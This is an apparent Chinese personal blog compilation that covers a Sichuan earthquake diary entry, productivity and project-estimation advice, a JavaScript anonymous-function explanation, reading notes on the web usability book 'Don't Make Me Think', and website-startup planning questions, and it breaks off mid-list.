早上7点终于接到丈母娘从成都打来的报平安的电话，一切都好，就放心了。这次如此近距离的感受到灾难对自己亲人的威胁是之前从未想到的，甚至昨天偶然看到四川地震的消息也还未感受到后果有如此的严重，就如当年美国9.11那天晚上回到家看到电视新闻说世贸大厦被飞机撞了一样觉得离自己很遥远，心里上也没有引起足够的重视。然而稍后想来，这次四川的地震却不同了，它离我的亲人是如此的近，甚至就是在事件漩涡的中心，不得不让人担心。

  早上丈母娘的电话中说得有点激动，我想每一个亲历现场的人都不能平静的对待这次灾难，亲人平安我们也就放心了，祝丈母娘平安健康！也希望更多的人都能平平安安。

一种保护眼睛的好方法： 桌面->右键->属性->外观->高级－>项目选择（窗口）、颜色1（L）选择（其它）将色调改为：85。饱和度：123。亮度：205－>添加到自定义颜色－>在自定义颜色选定点确定－>确定这样所有的文档都不再是刺眼的白底黑字，而是非常柔和的豆沙绿色，这个色调是眼科专家配置的，长时间使用会很有效的缓解眼睛疲劳保护眼睛 别忘了分享给你们的好朋友 。

对于IT人，尤其是开发人员来说，爱护眼睛尤其重要，平均一天10小时以上对着电脑看，眼睛是一个最容易疲劳又得不到休息的器官。

　　如何使生产力加倍呢？美国职业生涯规划与时间管理专家Brian Tracy，集20年实务工作经验与研究，发现能使你生产力加倍的7个工作秘诀：

一、全心投入工作（work harder at what you do）：当你工作时，一定要全心投入，不要浪费时间，不要把工作场所当成社交场合。光这个秘诀，如果你能长期实践，就能使你的生产力加倍。 

二、工作步调快（work faster）：养成一种紧迫感，一次专心做一件事，并且用最快的速度完成，之后，立刻进入下一件工作。养成这习惯后，你会惊讶地发现，一天所能完成的工作量居然是如此地惊人。 

三、专注于高附加值的工作（work on higher-value activities）：你要记住工作时数的多寡不见得与工作成果成正比。精明的老板或是上司关心的是你的工作数量及工作品质，工作时数并非重点。因此聪明的员工，会想办法找出对达成工作目标及绩效标准有帮助的活动，然后投入最多时间与心力在这些事情上面。投入的时间愈多，每分钟的生产力就愈高，工作绩效也就提高，自然赢得老板及上司的赏识与重用，加薪与升迁在望。 

四、熟练工作（do things you are better at）：你找出最有价值的工作项目后，接着要想办法，通过不断学习、应用、练习，熟练所有工作流程与技巧，累积工作经验（一句话解决KNOW HOW的问题）。你的工作愈纯熟，工作所需的时间就愈短；你的技能愈熟练，生产力就提升得愈快。 

五、集中处理（bunch your tasks）：一个有技巧的工作人，会把许多性质相近的工作或是活动，例如，收发E-MAIL、写信、填写工作报表、填写备忘录等等，集中在同一个时段来处理，这样会比一件一件分开在不同时段处理，节省一半以上的时间，同时也能提高效率与效能。 

六、简化工作（simplify your work）：尽量简化工作流程，将许多分开的工作步骤加以整合，变成单一任务，以减少工作的复杂度，另外，运用授权或是外包的方式，避免把时间花费在低价值的工作上。 

七、比别人工作时间长一些（work longer hours）：早一点起床，早点去上班，避开交通高峰；中午晚一点出去用餐，继续工作，避开排队用餐的人潮；晚上稍微留晚一些，直到交通高峰时间已过，再下班回家。如此一天可以比一般人多出2至3个小时的工作时间，而且不会影响正常的生活步调。善用这些多出来的时间，可以使你的生产力加倍，进而使你的收入加倍。一个成功的人，通常是一个行动派的人，一旦懂得提升生产力的方法，就会将这7个小秘诀，默记在心，不断地应用、练习，直到成为工作、生活的习惯为止。只要养成这个习惯，你的生产力一定会提高，收入也会加倍。

为一个项目做技术方案，要求里面提到Portlet，之前没接触过，像是个新东西，查一下发现是java里面的一个web组件，类似servlet，看起来功能还挺实用的。给个小摘要：

"Portlets是一种Web组件－就像servlets－是专为将合成页面里的内容聚集在一起而设计的。通常请求一个portal页面会引发多个portlets被调用。每个portlet都会生成标记段，并与别的portlets生成的标记段组合在一起嵌入到portal页面的标记内。"（摘自Portlet规范，JSR 168）

下面这个链接能比较全面的了解portlet的概念：

http://blog.csdn.net/chensheng913/archive/2005/12/08/546991.aspx

在使用jquery或者prototype的时候大家都会去看看它的源代码，看完之后往往有点疑惑，它的js是怎么运行的？怎么可以这样写？

其实这是js的匿名函数，其结构类似这样：

(function(){
//代码
})();

如果把代码还原一下就好理解了，如下：

function f(){
//代码
}
f();

即定义了一个函数，并且执行了函数内的代码。

对于软件项目管理，"坊间"流传着一个经典的"六拍"黑色幽默，在此我略做演绎：

在项目开始之前，你总是先"拍脑袋"得出进度和成本的承诺；

在开工大会上领导"拍拍你肩膀"，是那样的语重心长、充满期待；

而小酒刚下肚、春风正得意时，你不由得"拍胸脯"以表决心和能力；

但在项目进展过程中遇到这样、那样的困难时，客户和业主不能不"拍桌子"了；

这时充满悔意的你，只能"拍大腿"以示自责；

而到了一切都腹水难收时，恐怕也只能"拍屁股"另谋高就了；

不过却也总能够重新找个地方东山再起，再"拍脑袋"去了。　　

拍脑袋 拍胸脯 拍肩膀 拍桌子 拍大腿 拍屁股。

当一个长得像秦始皇的主管的主管的主管的主管来向你要进度的时候，剑鞘里利刃的寒气透出。他，会不停的问直到你说出'他'想要的结果的时候，剑已经架到你的喉咙上了。

通常意义上来说，软件项目管理是指软件开发过程的管理，来源是项目的立项报告和开发任务书，结果是可部署的软件系统。
　　
　　软件工程是软件开发遵循的一般性指导，是项目经理和开发人员必须掌握的，一般都作为一门课程教学，ISO9002和CMM是我们经常具体使用的指南。
　　
　　IT项目管理涉及面就较广了，不但要考虑软件系统，还要涉及网络基础设计、软硬件平台、运行维护管理等。

软件估算的戒律

（1）不要追求完美：就像没有人能预测出未来，如果还没有完成，就不要企图完美的结果。更何况估算的太精确，反而会失去灵活机动的空间。
　　
　　（2）不要为满足预算而估算：如果这个项目的预算根本不能完成100%的任务，那么就不要让你的团队委曲求全。正确地反映客观现状，不仅可以争取应得的权利，而且是完成任务的前提。
　　
　　（3）不要随意削减估算结果：有很多老板喜欢把项目经理递交的估算，不假思索地砍掉一部分。这是一种不负责任的做法，如果要削减一定要有理由。
　　
　　（4）客观地估算，不贪多不偷减：就像老板不能随便削减你的估算一样，你也同样不能在估算的时候，贪多或是偷减。贪多必然导致会浪费，偷减必然导致不足。这两个结果恐怕都不是一个合格的项目经理的作为。
　　
　　（5）客观利用过去的经验：对于以往估算的经验，当然是宝贵的财富，但是如果财富用错了地方就会变成垃圾。在使用经验时，要注意现在和参考经验之间的差异。不要忘记，随着时间的推移，计算机领域技术的更新，许多观念都在发生着改变。
　　
　　（6）不要以客户目标作为估算的结果：客户是上帝，软件公司一定要尽力实现客户的需求。但我们要实现的是合理的目标，况且不能为了完成目标而去堆积数字，这样岂不是因果倒置了。
　　
　　（7）不要隐匿不确定的成本：软件开发中存在潜在风险，是很正常的事情。现在风险就会带来潜在的成本，如：突然一位程序员离职，导致工作进度路落后。我们不可能估算到任何一种可能发生的情况，但有责任把可能出现的一些关键环节列出来。

没准备好写什么，先占个位。。。

相信2008会更好

http://www.blueidea.com/design/doc/2007/5029_7.asp 原地址

第一章

确保网页容易被用户使用的最重要原则是"不要让我思考"。设计师应尽量做到让网页不言而喻、一目了然、自我解释。好的设计应该能让用户立即上手使用，而无需花费精力思考。

网页上每项内容都有可能迫使用户停下来思考，例如，名字。那些看似很酷、很自以为聪明、带有营销性质及生僻技术的名字常常给用户带来困扰。又例如那些看起来不太明显的链接和按钮，用户没有义务思考某个地方是否能点击。
当我们访问网络时，每个微小的疑问都有可能打断我们的访问热情，它们会累积起来，直到让人抓狂、失去耐心。

一些不该让访问者思考的事：

我在什么位置？

我该从哪里开始？

他们把xx放在什么地方？

这个页面上最重要的是什么？

为什么他们给它取了这个名字？

如果要做一些崭新的开拓性的或者非常复杂的页面设计，如果无论如何也无法把页面做到不言而喻时，至少要让它能自我解释，并使用户只需花很少的时间和精力就能理解理解其用意。

另一些奇怪且有趣的用户心理：有些人会在一个折磨他们的网站坚持很久，而不愿寻找更好的；有些人会在遇到访问挫折时首先责怪自己，而不是责怪网站；人类的惰性以及重新开始新事物的不确定感往往会让用户在不佳的访问体验面前妥协（谁又能保证下一个会比这个更好呢？）。

第二章

面对精心设计排版的页面，用户做的通常只是在页面上大致瞥一眼，然后凭感觉寻找点击他们感兴趣的链接或者符合他们要求的链接。事实上用户对于页面上不关心的部分基本上不会真正看一眼。那些精心修饰的文字对用户来说更像是"以时速100公里的速度驶过的广告牌"。

关于网络使用的三个事实：

一．不是阅读，而是浏览。

人们总是花极少的时间来阅读大部分的页面，通常只是匆匆浏览一下网页，然后从中选择感兴趣的栏目或文字。

理由：

用户总是忙碌的，他们没有时间阅读那些不必要的内容。

用户知道自己不需要读取所有的内容，通常他们只是要寻找自己感兴趣的内容。

报纸、书籍、期刊的阅读经验教会用户如何快速定位感兴趣的内容。

二．不是最佳选择，而是满意即可。

大多数情况下用户不是选择最佳的选项，而是选择第一个看上去合理的选项。这种满意策略告诉我们，一旦用户觉得某个链接似乎能跳转到他们想要去的地方，那么这个链接被点击的可能性就会大大增加，尽管它可能不是最佳的选择的。

理由：

用户总是忙碌的，寻找最佳策略很难，需要的时间也很长。

如果猜错了也不会有什么严重后果。

对选择进行权衡并不会改善我们的机会。在设计不佳的网页上花精力去选择，还不如用猜的高效。

用户喜欢享受驾驭感，跟着感觉走对用户来说更能感受到自己的价值。

用户衡量一个选择所愿花费的精力，取决于他们对于内容的预期、对于需求的迫切性以及对于网站的信心。

三．不是追根究底，而是勉强应付。

很少有人会花时间来研究如果使用一个网站，通常他们是通过不断尝试来获得访问经验、从中找出一定的理由来解释自己的行为，以及为什么会这么做。

理由：

是否明白事务背后的工作机制对用户来说并不重要，他们只要求能正常使用即可。

一般的使用习惯决定了，用户如果发现某个事务能满足他们的要求，就会一直使用下去，直到出现新的更好的替代方法为止，但是通常很少有人会主动寻找更好的方法。

教会用户使用网站而不是勉强应付的好处：

用户能更容易地找到自己想要的东西。

用户能更全面地了解到网站所提供的服务，而不仅仅是他们偶然看到的那些。

网站能更好地引导用户访问其所希望展示的内容。

能让用户享受到把握全局的满足感，这能极大地增强用户对自己及对网站的信心，进而留住用户的心。

第三章

设计师针对用户快速浏览页面这一特性所需注意的5个方面：

一． 建立清楚地视觉层次。

让页面瞬间明白易懂的一个好办法是确保页面上所有内容的外观清楚，而且能清楚表述页面内容之间的关系。

层次清楚的三个特点：

越重要的部分越突出（醒目）。

逻辑上相关的部分在视觉上也相关。

逻辑上包含的部分在视觉上有嵌套。

生活习惯教会了我们对视觉层次进行快速分解，通常这种分解在一瞬间就已完成。除非当那些可视信息迫使我们需要停下来思考时，我们才能隐约地感觉到它的存在。好的视觉层次能够帮助用户对页面内容进行快速分辨，提高访问效率。

二．尽量使用习惯用法。

每一种出版媒体都有在发展自己的习惯用法，并不断改进这些用法，以形成新的习惯用法。在WEB上，当一种使用方法有足够多的人在足够多的地方看到使用它，那么它就会使成为一种习惯用法。

关于习惯用法的两个特点：

该用法非常有用。
习惯用法因为有用才会成为习惯用法，它保证了用户有一种熟悉感，适当应用习惯用法会使用户对网站的访问更容易，不需要花费额外的精力就能获得预期的访问成果。

设计师通常不愿使用习惯用法。
创新对设计师而言有很大的诱惑，如果打算使用一种新的方法替代已有的习惯用法，那么至少必须确认1.对用户来说新的方法是同样清楚简洁、不言而喻，无须花费很多额外精力来重新学习的。2.新的方法有很大的回报价值，因此值得用户花一点努力来学习。

在确信找到一个能让大多数人都接受的新想法前，尽量使用已有的习惯用法。

三．把页面划分成明确定义的区域。

理想状况下，设计良好的网页应该能让用户立刻明白各区域的作用。
把页面划分成明确定义的区域可以让用户快速找到自己关心的内容或者放心地跳过自己不需要的部分。

四．明显标示可点击的区域。

用户确定点击哪里并不会花很长时间，但如果你迫使用户去思考某些通过下意识就可以知道的东西，那么你完全是在浪费每个用户对新站点有限耐心和好感。

五．最大限度降低视觉干扰。

让页面不易理解的最大原因就是视觉干扰，有两类干扰：

眼花缭乱的设计，不分轻重的布局。

糟糕的细节设计，不停打断用户的思路。

用户对复杂和干扰的容忍程度是不同的，但的确有很多人在乎这些细微处。
对付视觉干扰的一个好办法：设计页面时，可以先假定所有的设计内容都是视觉干扰，除非能够证明它们不是。

第四章

通常用户不会特别介意到达目标前所需的点击次数，只要每次点击都是毫不费力且能让用户坚信自己的选择是正确的。
一条经验准则：三次无须思考，明确无误的点击相当于一次需要思考的点击。
如果需要一直在网络上进行选择，那么让这些选择变得无须思考是让一个网站变得容易使用的主要因素。

第五章

有力的文字都很简练。句子里不应该有多余的文字，段落中不该有多与的句子。同样，画上不该有多余的线条，机器上不应该有多余的零件。
去掉每个页面上一般的文字，然后把剩下的文字再去掉一半。

去掉没人看的文字会有几个好处：

可以降低页面干扰。

让有用的内容更突出。

让页面更简短，让用户在页面上一眼就能看到更多的内容，减少不必要的屏幕滚动。

两种必须消灭的文字：

消灭欢迎词。
欢迎词只是一种社交套路，并无多少实际意义，大多数WEB用户喜欢直截了当，所以要尽量减少欢迎词，能减多少就减多少。

消灭冗长的解释文字。
应该通过让每项内容不言而喻来尽量消除解释文字，当文字变得完全没有必要时则应把它们全部去掉。

第六章

一个事实：如果在网站上找不到方向，人们就不会访问你的网站。

用户浏览过程：

通常是为了寻找某个目标。

决定先搜索还是先浏览。取决于用户的打算、迫切程度、以及网站是否有良好的导航机制。

如选择先浏览，将通过标志的引导在层次结构中穿行。

满意地离开或失望地离开。

Web空间的奇怪之处：

感觉不到大小。
你很难知道是否已经看到这个网站上所有感兴趣的内容，因此也很难知道什么时候应该停止寻找。

感觉不到方向。
没有层次结构方面的上一级和下一级，即更一般的层次或更具体的层次。

感觉不到位置。
Web导航通过具体化网站的层次结构补偿了这种缺失的空间感，营造出某种位置的感觉。

被忽视了的导航用途：

给用户一些固定的感觉。
迷失的感觉并不好，做得好的导航会让用户觉得脚踏实地。

告知当前位置。
通过让层次结构可视化，导航可以告诉用户网站上有什么。导航表现了内容且表现站点比引导位置更重要。

告诉用户如何使用网站。
含蓄地告诉用户该从哪里开始，能进行哪些选择。

给了用户对网站的信心。
清楚、规划得当的导航是网站给人留下好印象的大好机会。

Web导航的基本元素：logo、栏目、子栏目、当前位置、辅助工具。

导航部分在每一页以一致的外观出现在同样的位置，会让用户提升用户的访问信心，给用户确定感可以提升用户对网站的认同。让全局导航始终保持一致意味着用户对它只需了解一次。全局导航应该包括5个元素：logo、返回首页、搜索链接、辅助工具、主栏目。

网站logo一般在网页左上角，因为logo代表了整个网站，也就是说它在整个站点结构中层次最高。要让网站logo出现在页面可视层次的首要位置，可采取两种方式：让它成为页面最显眼的内容或者让它涵盖页面所有其他的元素。

栏目导航条是访问站点主要栏目的途径，即站点层次结构的最顶层。
大部分情况下，全局导航也留有二级导航的显示位置。

辅助工具是到达网站中不属于内容层次的重要元素的链接。
辅助工具能帮助用户使用站点（如帮助、网站地图或购物车等），要么提供网站发布者的信息（如关于我们、联系我们等）。
全局导航中最多只能放使用率最高的4-5个辅助工具。

全局导航中最重要的元素之一是让用户返回首页的链接。
一般网站也会让logo链接到首页。

喜欢搜索的用户并不少于习惯浏览的用户。
一个简单公式：搜索栏=一个输入框、一个按钮、还有"搜索"两字。

搜索栏必须避免：

花哨的用词。

指示说明。

选项。
如果必须提供选项，那就要保证哪些选项确实有用。

页面名称就是web上的路牌。

需注意的要点：

页面名称在视觉层次上要出现在合适的位置。

名称样式要引人注目，在大多数情况下，它是该页里最大的文字。

名称和链接的内容要一致。
有时受页面空间的限制，如果点击的文字与链接的页面名称并不完全相同，则需保证尽量匹配和让不匹配的原因显而易见。

要抵消网络空间固有的迷失感，其中一种方式就是时刻告诉用户当前所处的位置。
常用的标记位置的方法：

在旁边放一个小图标。

改变文字颜色。

使用粗体。

按钮反白。

改变按钮的颜色。

位置指示器必须要醒目突出，否则就失去了意义。

层级菜单的几项实践：

把它们放在最顶端。

用">"符号对层级进行分隔。

使用小字体。

使用文字提示"你在这里"

将最后一个元素加粗。

别让它们显得像页面的名称。

标签是大型网站的上佳选择，理由：

它们不言而喻。

很难被忽视。

很灵活。

暗示了一个物理空间。

标签会给人一个视觉提示：让人觉得网站被分成了不同的栏目，条理清晰，而自己正置身于其中的一个栏目，增加确定感。

amazon经典的标签设计三要点：

正确绘制。
标签的图形必须营造出"激活的标签页位于其他标签页之前"的效果。
营造出这种效果，比货也必须有一种不同的颜色或外形作为对比，并且必须与它下面的空间在物理上链接起来。

颜色编码。
Amazon使用相当鲜艳和饱满的的颜色来吸引用户的注意力。未激活的标签和当前的标签之间对比强烈，即使色盲的用户也能正确理解。

进入网站时，有个选中的初始标签。

后备箱测试

完成设计后对网页的导航进行测试的方法。

初始问答：

这是什么网站？(logo)

我在哪个网页上？（网页名称）

这个网站主要有哪些栏目？（栏目清单）

在这个层次上我有哪些选择？（本页导航）

我在导航系统得什么位置？（位置指示器）

怎么搜索？

测试标准只能依据页面的整体外观来判断，而不是细节。

第七章

主页要完成的使命：

标识站点、表明站点层次、搜索、导读、最近更新、友情链接、快捷方式、注册。

另外一些抽象使命：

让用户看到自己正在寻找的东西—主页应该能让用户想到的任何东西显而易见，如果它存在的话。

为用户提供他们还没发现的潜在兴趣点。

告诉用户从哪里开始，给用户方向感。

建立可信度和信任感。

首页常见的约束有：

每个人或内容都想占一席之地。

想参与的人或内容太多。

一个尺寸要适合所有人。

网页设计中不能忘掉却常常被忘掉的事—传达网站整体形象。

用户第一次访问一个网站应能回答的4个问题：

这是什么网站？

网站上有什么？

我能在这里做什么？

为什么我应该在这里而不是别的地方。

主页上的每样东西都有助于帮助用户理解网站，有两样东西尤其关键：
口号、欢迎广告。
作用：
不在于是否每个用户都会注意到他们，而在于网站用户多半是从主页的大体内容来猜测网站类型的，如果他们猜不到就要有个地方能让他们找到。

几条传达信息的指导原则：

需要多大空间就用多大空间。

但也不要使用过多的空间。

不要把使命陈述当作欢迎广告。

是否恰当的标准是进行测试。

口号是依据精炼的短句，它刻画了整个网站、总结它是什么、自身的优势是什么。
口号一般出现在站点Logo周围的某个地方。
口号是非常有效的信息传达方式，因为它是用户希望能找到的关于网站目标具体描述的地方。

选择口号时要注意的地方：

好的口号要清楚、言之有物。

不好的口号含混不清。

好的口号长度适中—6~8个单词足矣（针对英文而言）。

好的口号能表述出网站的特点和显而易见的好处。

不好的口号听起来太笼统。

好的口号应该有个性、生动、有时候还很俏皮。

知道网站类型后，主页要回答的另一个重要问题是：从哪里开始？

当进入一个新的网站，快速浏览主页后，用户应该能明白无误地知道：

要搜索该从哪里开始。

如果想浏览该从哪里开始。

如果只想访问网站最精华的部分该从哪里开始。

避免认知混乱的方法：让每个起点看上去像起点并给它们加上清楚地文字描述。

由于主页导航的独特职责，通常不必与全局导航完全一致。
常见差别有：栏目描述、不同的方向、用于识别的空间更多。
主页导航与全局导航需要保持一定程度的一致性，才能保证用户能马上明白这只是同一导航的两个版本。
最重要的是，让栏目的名称保持不变：同样的顺序，同样的文字和同样的分组。尽可能多地保持相同的视觉提示也很有用，如同样的字体、颜色和大小写。

下拉框存在的问题：

必须点击才能看到下拉列表。

它们难以快速浏览。

他们不好控制，显示和收缩很快，会影响查看效果。

下拉框对于按字母排列的项目比较适用，如国家、省份、或产品名称，因为在这样的浏览不用思考。

主页上增加更多项目所得到的和付出的并不一致。得到推介的栏目获得了巨大的访问量，而由于主页变得混乱而造成的有效性总体损失则要由所有栏目一同承担，这就是共有区域的悲剧，前提很简单：任何共享资源（共有区域）都会因过度使用而遭破坏。

第八章

人的天性有一种把自己的喜好投射到全部web用户身上的倾向，认为绝大多数用户喜欢自己所喜欢的，我们通常认为大部分web用户和我们一样。

由于职位的不同，web团队的成员对于好的网站设计如何组成有着非常不同的看法。

"大部分web用户和我们一样"这样信仰背后还有另一个隐藏得更深的信仰：相信大部分web用户是弹性的，可以随意变化。

不要问这样的问题"大部分人喜欢下拉框吗？"正确的问题应该是"在这个页面，这样的上下文中，这个下拉框及这些下拉项目和措词会让可能适用这个网站的大部份人产生一种良好的体验吗？"回答这个问题的方法只有一个"测试"。
争辩人们喜欢什么既浪费时间又消耗团队精力，而通过测试将讨论对错转移到什么有效、什么无效上更容易缓和争论，打破僵局。而且，测试会让我们看到用户的动机、理解、反应的不同，从而让我们不会再坚持"用户的想法和我们的想法一样"。

第九章

焦点小组与可用性测试的区别：

焦点小组是一小组人（通常5~8人）围坐在桌子旁边，对展示给他们的想法和设计做出反应。这是一个小组过程，主要价值来自参与人员彼此的反应。焦点小组是快速得到用户意见和感觉的一种不错的方法。

可用性测试是一次一个用户展示一些内容（不管是网站、网站原型、或是一些单个页面的草图），并且要求用户说出：1.这是什么？2.试着用它来完成一些典型的任务。

焦点小组在抽象地确定你的目标受众想要什么，需要什么，喜欢什么的时候会很有用。它们也可以测试出网站的理念是否有意义，价值主张是否吸引人。同时，它们在测试你的网站功能命名，发现用户对你的竞争对手看法等方面也是很好的办法，但这种方法并不适合用来了解你的网站运行情况，以及怎样改进网站。

你能从焦点小组了解到的是你在设计网站之前就应该了解得。焦点小组是用在这个过程早期阶段的方法。

可用性测试的几个事实：

如果想建立一个优秀的网站，一定要测试。

测试一个用户比不做测试好一倍。

在项目中，早点测试仪为用户好过最后测试50位用户。

人们对招募用户代表的重要性估计过高。

测试的关键不是要证明什么或者反驳什么，而是了解你的判断力。

测试是一个迭代的过程。

没有什么比现场用户的反应更重要。

5个不进行可用性测试的错误辩解：

我们没有时间

我们没有钱

我们没有专业知识

我们没有可用性实验室

我们不知道怎样解释这些结果。

可用性测试对参与的对象不敏感。
招募测试对象可以利用你能够寻找到的普通任何人，然后曲线上升。

测试用户和目标群体之间可以存在差别，理由如下：

实际上，我们都是初学者。

设计出的网站只有你的目标群里会使用，这通常不是个好主意。

专家通常不会介意对初学者来说很直观的界面。

一些例外：

如果你的网站几乎只由某一类用户使用，而且招募这一类测试用户并不困难。

如果你的目标用户群体可以分成几个明显的阵营，而且这些阵营有着完全不同的兴趣和需要。

如果使用你的网站需要专门领域的知识。

招募测试对象应注意的几个问题：

提供合理的激励。

邀请要简单。

避免对网站（或网站背后的组织结构）进行预先讨论。

别不好意思请朋友和邻居帮忙。

可用性测试分两种："理解"测试和关键任务的测试。

"理解"测试就是让用户看到网站，然后看他们能否理解这个网站，理解网站的目标，价值主张，组织方法，运行方式等。

关键任务测试就是让用户完成一些任务，然后观察他们是怎么做的。

建立网站时，越早把设计思想展示给用户约好，设计师通常不愿意展示尚未完成的作品，但用户更愿意评论一些看起来还没有完成的东西，因为他们知道你还没有投入太多，还有机会进行修改，而且，由于这还不是一个精雕细琢的设计，用户不会被实现细节所吸引，从而可以把注意力集中在要点和措辞上。

总结测试结果要做的两件事：给问题分类，解决问题。
从其他人的角度看你的作品，这样的体验常常能为问题提供全新的解决方案，或者让你用一种崭新的眼光看待原有问题。

测试过程中最有可能碰到的问题：

用户不清楚概念

他们找不到自己要找的字眼

内容太多

问题内类指南：

忽略皮划艇问题：
可能会遇到这种情况：用户暂时出现错误，然后再不需要任何帮助的情况下回到原来的轨道，只要，1.出现问题的人马上发现自己偏离了原来的主体。2.他们尽量回到原来的方向而不需要帮助。3.这种情况看起来并没有扰乱他们的活动，你就可以忽略这些。总的来说，如果用户关于在哪里找到他们需要的内容的第二次猜测总是对的，那就不是什么问题。

抵制添加的冲动：
当在测试时清楚地看到人们没有理解某些内容时，大部分人的第一反应是增加一些内容，如注释或一些指导说明。然而正确的解决方案往往是去掉某个或某些让人混淆的内容，而不是增加另一些干扰。
不要太看重人们对新功能的要求。

抓住够得着的果子：
每轮测试中，你的主要目标是寻找重要而不费力的收获，一般有两个类别：恍然大悟型和便宜型。

注意整体性：当你把某些部分调整得更为突出时，想想看是不是把其他内容的重要性降低了。

第十章

Web 可用性除了不要让用户思考，还有另外一个重要的组成部分：做正确的事，为用户考虑周到。除了"我的网站清除吗？"之外，还要问"我的网站值得尊敬吗？"

降低好感的几种方式：

隐藏我想要的信息

因为没有按照你们的方式行事而惩罚我

向我询问不必要的信息

敷衍我、欺骗我

给我设置障碍

你的网站看上去不专业

提高好感的几种方式：

知道人们在你网站上想做什么，并让它们明白简易

告诉我我想知道的

尽量减少步骤

花点心思

知道我可能会有哪些疑问，并且给予解答

为我提供协助，例如打印友好页面

容易从错误中恢复

如果不确定，记得道歉

手头的工作已经不是一件两件，要是坐下来从头到尾理一下，要做的工作内容不下10件，于是就总觉得自己忙不开，忙不开的感觉就是不知道该从哪里下手，这件事也要做，那件事也要做，事事都很重要，事事都不能拖，这样一天下来人被事牵着走，晕头转向，结果可能最后完成的工作没有一件，下一天又继续这样忙不开，如此往复，效率变得很底下。

如果已经这样了，就要对自己的工作做个分类，根据工作性质和内容不同，用不同的方式来处理：

1.必须亲历亲为的工作

这样的工作没什么好说的，必须要自己亲自完成，就要尽快自己完成，当然这也要把工作分个先后顺序轻重缓急，按步骤一件一件的完成。

2.必须参与，起到协调人作用的

这样的工作应该尽早安排完善，保证整个团队的正常运转，提高团队整体的工作效率。

3.参与项目，有一定工作内容需要完成的，属于配合其他人完成的工作

这样的工作也算是亲历亲为的工作，但是主线在他人，这就需要与他人协调好完成日期，在指定的日期前完成工作，交付工作内容

4.监督协调类工作

这类工作无工作内容，但是作为监督者或者协调者需要定期对项目的进展进行关注，汇总进度，了解整个计划，从而控制整个项目发展，以免项目失控或者偏离计划。

5.临时性工作

这类工作往往最容易分散工作精力，可能某某某的一个问题过来，就影响你一天的工作内容，把你带入到混乱的工作状态，因此对这类工作应该尽量做到来一个解决一个，在最短的时间内处理完成，如果临时性的工作需要占用比较长的时间，就应改变工作的性质了，归为1类或者3类。

总结一句话：先协调再自己，临时工作快快结，分主次有缓急，步步为营桌面清。

或许因为2003开始,互联网逐渐从2000年的萧条中复苏,互联网的主力军企业与个人均热衷互联网的缘故，大家又开始疯狂互联网，大批个人或企业或资本开始创办更多种类的网站，一时间百花齐放，看上去春色无限好，但是从现实经营的情况来看，从与众多网站创业者沟通情况来看，许多创业者对互联网还是了解不深或不透，而且必须得自己摸着石头过河，网站经营前景更是堪忧；回想2000-2002年，已有太多的网站失败，终其根本性原因，与现在的也差不了多少：网站目标市场环境不成熟；网站投资与回报计划不清晰；网站经营实战经验少，观念与意识还是属于单打独斗、理想主义的状态。

　　事实告诉我们，中国互联网成长的历程中牺牲品太多，笑到最后的太少，不想做牺牲品的同行们，经营网站前，让我们一起落实以下问题！

　　1、互联网的原始特征您清楚吗？

　　任何人通过互联网做生意、经营网站、还是个人交友，其本质都是通过发挥互联网本质特征来实现其目标，这些特征包括：

　　1.1、资源丰富性：仅中国就有1.7亿网民在互联网上活动，可见互联网实际上形成了一个资源丰富的虚拟世界，等待我们去挖掘；我们需要分析，我们准备经营的网站，其目标受众在这个世界中占多少比例？他们的年龄、行为特点、学历、社会阶层等呈什么特点？

　　1.2、无地域性：互联网无国界，美国与中国的两位商人可以直接通过互联网进行交流，这样带来了沟通成本低廉、信息传播范围广、省力省时等明显效益。我们经营的网站是否可以发挥这些优势，该如何使网站本身的影响力扩大到足以触动客户首选本网站进行信息交流呢？

　　1.3、即时交互性：通过广州寄信至湖北，至少3时间，而通过EMAIL传递则只需要10秒（甚至更少）时间即可成功传递；如果是通过QQ或MSN交流，则1秒内即可互动交流。可见，互联网给我们带来了沟通上的便利，提高了我们的沟通效率，节省了时间成本，更打通了信息壁垒，从根本上解决信息不平衡、信息传递不及时的问题。我们经营的网站该如何发挥这种优势呢？网站平台是否能够有足够的影响力使目标客户上来活动？网站平台是否已有效解决了客户与客户之间、网站平台与客户之间的信息沟通问题？这些优良的价值您是否已成功推销给您的目标客户，并让他们付费购买服务？

　　1.4、技术性：技术的价值在互联网中体现得淋漓尽致，它有效帮助我们实现了理想中的网站经营模式；它有效地将信息通过文字、图形、声音等多种方式传递给目标客户，并实现双方的互动交流；它更可以让实现强大的统计、监控、分析，为我们提供科学、有效、即时灵敏的决策支持。那么，我们网站是否已充分把技术转化为商业价值？技术是否帮助公司提高了工作效率，是否帮助网站业务员成功实现了重点客户个性跟踪，普通客户跟踪？技术是否帮助目标客户之间沟通提供了高效的沟通渠道？

　　2、您经营的网站定位是什么？网站定位在投资经营网站中属于战略性决策，网站定位我们需要考虑以下问题：

　　2.1、网站定位的依据有哪些？A、影响定位的因素：市场容量与发展潜力大、个人或企业在此领域中的经验丰富、个人或企业在此领域的资源丰富、国家或地方政策倾斜。B、用实际市场调研去为验证这些因素：请即刻准备一项市场调研计划，并组织人去落实，拿出切入可靠的数据来证明这些因素可行，事实证明，许多创业者未成功的主因，即是未做市场调研或未做足市场调研工作，仅凭个人直觉或外界影响来做决策，这方面我们业内有太多血的教训（包括本人在内）。

　　2.2、网站定位有多大？多大能耐做多少事，务实是关键。具体请参考以下指标：A、地域特点（全国性？区域性？）B、类型特点（大而全？专而深？）C、层次特点（高端？中端？中低端？低端？）

　　3、您有哪些资源可利用？

　　"巧妇难做无米之炊"，可见资源之重要；资源的定义应该分为两种：

　　3.1、目前已经有的资源：指已经存在了哪些资源可供网站使用？包括：人才资源、资金资源、行业资源、政府关系资源、地域资源、人脉资源。这些资源网站在发展过程中，需要通过哪几个阶段有效利用？人才资源、资金资源是网站前期经营最关键的资源，这些资源能支撑网站运营多长时间？这些资源在哪个阶段能产生盈利，协助网站走向良性运作？3.2、可开发的潜在资源：指在网站发展过程中，有哪些资源可供网站使用？其中政府资源、行业协会资源、展会资源、风险投资等非可控性资源，网站是否有实力去吸引与利用？

　　4、目标受众群体特征如何？

　　4.1、目标受众群体年龄、学历、行为特征；4.2、目标受众群体在互联网中的市场规模现在有多大？发展趋势如何？[可从行业分析报告中获取]4.3、结合网站定位，思考目标受众群体可能经常上本网做什么，符合互联网本质特征吗？[请用列表显示]

　　5、网站盈利模式是？

